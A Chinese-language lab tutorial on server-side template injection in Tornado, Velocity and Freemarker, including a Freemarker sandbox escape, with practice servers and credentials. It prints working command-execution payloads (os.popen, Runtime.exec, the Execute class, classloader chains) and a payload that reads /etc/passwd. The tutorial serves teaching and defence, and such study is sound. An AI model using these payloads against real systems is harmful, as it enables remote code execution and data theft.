在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及两种模版引擎相关的注入漏洞。在本文中,我们将继续为读者介绍其他四种模版引擎相关的注入漏洞。
6. LAB 3: Tornado (Python)
简介
Tornado模板是Tornado(一款流行的Python Web框架)中的一个引擎。针对该模版的练习非常简单,这表明:有时候仅需阅读库文档就能找到强大的功能。
模板语法基础知识
Hello {{userName}}
基本数据绑定
攻击面
它比Jinja2简单多了。因为它支持import指令。这个指令的实现类似于Python的import。
{%import os%}
import指令前后需要加上{…}括号。
下面展示的是一个完整的payload,它用于导入os模块,并执行方法popen(即打开进程)。
{%import os%}
{{os.popen("whoami").read()}}
练习
为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。
这个服务用于模拟下列情形:每次提交表单时都会发送一封邮件。
使用以上方法就可以利用这里的漏洞。
您可以访问服务器上的flag.txt文件了吗?
7. LAB 4: Velocity (Java)
简介
Velocity是最流行的Java模板引擎之一。而Freemarker则是另一个非常流行的选择。在本文中,我们之所以选择Velocity,是因为的利用难度要大一些。
模板语法基础知识
参考资料:Velocity的官方文档
攻击面
James Kettles发现的原始payload需要激活一个名为ClassTool的可选插件。
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
在本文中,将不会启用该插件。
Velocity支持为变量赋值。
#set( $foo = "bar" )
$foo
这个模式用于访问我们的目标类型。下面是一个实现命令执行功能的payload,但是这里不需要启用任何可选的插件。
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('ls'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
练习
为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。
要访问管理功能,请使用凭据admin/123456进行登陆。
使用以上方法就可以利用该漏洞。
您可以访问服务器上的flag.txt文件了吗?
8. LAB 5: Freemarker (Java)
简介
Freemarker是另一款流行的Java模板引擎。不过,它的发展速度要比Velocity快得多。
模板语法基础知识
${message}
${user.displayName}
参考资料:Freemarker官方文档
攻击面
内置函数
Freemarker具有一个特定的内置函数列表(在Freemarker文档中通常称为built-in)。这些内置函数可以作为变量的后缀使用。例如,${nbAverageUsers}可以转化为${nbAverageUsers?abs}。
abs, absoluteTemplateName, ancestors, api,
boolean, byte,
c, capFirst, capitalize, ceiling, children, chopLinebreak, chunk, contains, counter,
date, dateIfUnknown, datetime, datetimeIfUnknown, default, double, dropWhile,
endsWith, ensureEndsWith, ensureStartsWith, esc, eval, exists,
filter, first, float, floor,
groups,
hasApi, hasContent, hasNext, html,
ifExists, index, indexOf, int, interpret, isBoolean, isCollection, isCollectionEx, isDate, isDateLike, isDateOnly, isDatetime, isDirective, isEnumerable, isEvenItem, isFirst, isHash, isHashEx, isIndexable, isInfinite, isLast, isMacro, isMarkupOutput, isMethod, isNan, isNode, isNumber, isOddItem, isSequence, isString, isTime, isTransform, isUnknownDateLike, iso, isoH, isoHNZ, isoLocal, isoLocalH, isoLocalHNZ, isoLocalM, isoLocalMNZ, isoLocalMs, isoLocalMsNZ, isoLocalNZ, isoM, isoMNZ, isoMs, isoMsNZ, isoNZ, isoUtc, isoUtcFZ, isoUtcH, isoUtcHNZ, isoUtcM, isoUtcMNZ, isoUtcMs, isoUtcMsNZ, isoUtcNZ, itemCycle, itemParity, itemParityCap,
jString, join, jsString, jsonString,
keepAfter, keepAfterLast, keepBefore, keepBeforeLast, keys,
last, lastIndexOf, leftPad, length, long, lowerAbc, lowerCase,
map, markupString, matches, max, min,
namespace, new, nextSibling, noEsc, nodeName, nodeNamespace, nodeType, number, numberToDate, numberToDatetime, numberToTime,
parent, previousSibling,
removeBeginning, removeEnding, replace, reverse, rightPad, root, round, rtf,
seqContains, seqIndexOf, seqLastIndexOf, sequence, short, size, sort, sortBy, split, startsWith, string, substring, switch,
takeWhile, then, time, timeIfUnknown, trim, truncate, truncateC, truncateCM, truncateM, truncateW, truncateWM,
uncapFirst, upperAbc, upperCase, url, urlPath,
values,
webSafe, withArgs, withArgsLast, wordList,
xhtml, xml
所有内置函数的详细清单
从安全的角度来看,大多数内置函数都非常简单且乏味。但有一件事很特别,那就是new函数。我们可以在官方文件中阅读以下注意事项。
“这个内置函数可能存在安全问题,因为模板作者可以创建任意Java对象,然后使用它们,只要它们实现了TemplateModel的话。此外,模板作者甚至还可以为没有实现TemplateModel的类触发静态初始化。”资料来源:Freemarker docs: Built-in new
Execute类
按照官方描述,我们可以调用exec()函数(TemplateModel的入口方法)。通过其设计,Execute类允许我们执行命令并以字符串的形式获得命令执行结果。
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
练习
为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8025/。
要访问管理功能,请使用凭据admin/hackfest进行登陆。
通过以上方法就可以利用该漏洞。
您可以访问服务器上的flag.txt文件了吗?
潜在的防御机制
值得一提的是,Freemarker确实提供了一种方法来限制模板中的类引用,接下来的练习将按照文档中的描述实现一个ClassResolver。
“您可以(从2.3.17版本开始)使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或者new_builtin_class_resolver设置来限制这个内置寒水可以访问哪些类。更多信息请参见Java API文档。如果您允许不太可信的用户上传模板,那么您务必深入研究一下这个话题。”资料来源: Freemarker docs: Built-in new
9. LAB 6: Freemaker (沙箱逃逸)
Freemarker中的沙盒
Freemarker具有过滤哪些类允许访问的功能。例如,需要实现TemplateClassResolver类的子类,这个类将决定模板中的类引用是否被允许。
<ul>
<#list .data_model?keys as key>
<li>${key}</li>
</#list>
</ul>
或者:
${.data_model.keySet()}
查找对类加载器的引用
Classloader类的实例有可能给我们提供远程代码执行(RCE)权限。例如,类加载器可以从外部提供方法加载类(Java字节码)。
以下是可能返回Classloader的常见位置列表。
java.lang.Class.getClassLoader()
java.lang.Thread.getCurrentClassLoader()
java.lang.ProtectionDomain.getClassLoader()
javax.servlet.ServletContext.getClassLoader()
org.osgi.framework.wiring.BundleWiring.getClassLoader()
org.springframework.context.ApplicationContext.getClassLoader()
这些API将转换为以下Freemarker语法形式。
//java.lang.Object.getClass() -> java.lang.Class.getClassLoader()
${any_object.class.classLoader}
//javax.servlet.ServletRequest -> javax.servlet.ServletContext.getClassLoader()
${request.servletContext.classLoader}
并非所有的类加载器都是相同的
尽管不同的类加载器可能有一个公共的子类,但是,它们的实现却差别很大。不同的Web容器(托管Java应用的Web服务器)在运行时将使用不同的类加载器。因此,我们需要调整我们的payload来锁定正确的目标。
读取文件/目录列表
<#assign uri = classLoader.getResource("META-INF").toURI() >
<#assign url = uri.resolve("file:///etc/passwd").toURL() >
<#assign bytes = url.openConnection().inputStream.readAllBytes() >
${bytes}
(Payload来源:Room for Escape: Scribbling Outside the Lines of Template Security)
在我们的测试中,我们发现到字节数组不会自动转换为字符串。规避该限制的一种方法是每次提取一个字节。
${bytes[0]}
${bytes[1]}
${bytes[2]}
[...]
别忘了,字节是以十进制格式打印的。
通用方法
Oleksandr Mirosh和Alvaro Mu?oz 在他们的文章中详细介绍了Web容器特有的各种链条。这些容器包括Tomcat、Jetty、GlassFish、WebLogic和WebSphere。如果您想寻找Freemarker之外的沙盒的逃逸技术,这些都是一个很好的灵感来源。
然而,如果您的目标是利用当前的模板引擎,则存在一个通用的payload(也是来自上面提及的同一篇文章),适用于Freemarker 2.3.29以及更低版本(2020年3月以及修复了该漏洞)。为此,您需要在数据模型中找到一个作为对象的变量。
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}
这里是一个模板,它将对数据模型中的所有变量进行暴力枚举。
<#list .data_model as key, object_test>
<b>Testing "${key}":</b><br/>
<#attempt>
<#assign classloader=object_test.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
Shell ! (
${dwf.newInstance(ec,null)("id")}
)
<#recover>
failed
</#attempt>
<br/><br/>
</#list>
练习
为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8026/。
该应用程序与之前的基本相同,唯一区别在于:它被配置为只能访问有限的类,因此,这里将无法直接使用Execute类。
要访问管理功能,请使用凭证admin/hackfest进行登陆。
这个应用程序看上去与之前的应用程序非常相似。最后,请验证您是否连接到了8026端口。
10. 结束语
事实上,由于模板引擎的功能是如此强大,以至于必须将其视为脚本来对待。而脚本需要具有非常好的沙箱保护功能,否则的话,就需要通过用户权限来限制对这些具有安全风险功能的访问。因为在很多情况下,它们可能会危及底层操作系统。
参考文献
Server-Side Template Injection [Slides] | [White-paper] by James Kettle
Room for Escape: Scribbling Outside the Lines of Template Security [Slides] | [White-paper] by Oleksandr Mirosh and Alvaro Muñoz
Exploitation of Server Side Template Injection with Craft CMS (Twig template)
Cheatsheet – Flask & Jinja2 SSTI
PayloadsAllTheThings: Community Github repository